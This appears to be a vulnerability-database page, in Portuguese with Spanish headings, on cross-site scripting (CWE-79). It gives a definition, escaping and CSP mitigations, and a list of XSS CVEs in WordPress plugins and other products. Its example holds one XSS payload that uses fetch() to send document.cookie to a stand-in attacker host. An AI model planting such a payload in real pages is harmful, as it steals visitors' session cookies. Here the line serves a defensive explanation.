Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-28968HIGHWordPress WP Wall plugin <= 1.7.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-35758MEDIUMWordPress Interface theme <= 3.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-28960HIGHWordPress Evangelische Termine plugin <= 3.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-9969HIGHReflected XSS in Vizly Web Design's Real Estate PackagesEPSS 0.3%CVE-2025-30988HIGHWordPress Elite Video Player plugin <= 10.0.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-35757MEDIUMWordPress Easy Age Verify plugin <= 1.8.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-14053MEDIUMTravel Bucket List <= 0.5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2025-24867MEDIUMCross-Site Scripting (XSS) vulnerability in SAP BusinessObjects Business Intelligence platform (BI Launchpad)EPSS 0.3%CVE-2025-9101MEDIUMzhenfeng13 My-Blog Tag save cross site scriptingEPSS 0.3%CVE-2025-48333HIGHWordPress eForm - WordPress Form Builder < 4.19.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-54853MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability was identified affecting Skybox Change Manager versions 13.2.170 and earlier that allows rEPSS 0.3%CVE-2025-22284HIGHWordPress LTL Freight Quotes – Unishippers Edition plugin <= 2.5.8 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-1520MEDIUMrethinkdb Secondary Index cross site scriptingEPSS 0.3%CVE-2025-23960HIGHWordPress Save & Import Image from URL Plugin <= 0.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-48025MEDIUMWordPress Simple Baseball Scoreboard plugin <= 1.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-69051HIGHWordPress ListingPro Reviews theme <= 1.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-13903MEDIUMPullQuote <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2023-49296MEDIUMArduino Create Agent vulnerable to Reflected Cross-Site ScriptingEPSS 0.3%CVE-2024-47626MEDIUMWordPress RomethemeKit For Elementor plugin <= 1.5.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-10555HIGHStored Cross-site Scripting (XSS) vulnerability affecting Service Items Management in DELMIA Service Process Engineer on Release 3DEXPERIENCE R2025xEPSS 0.3%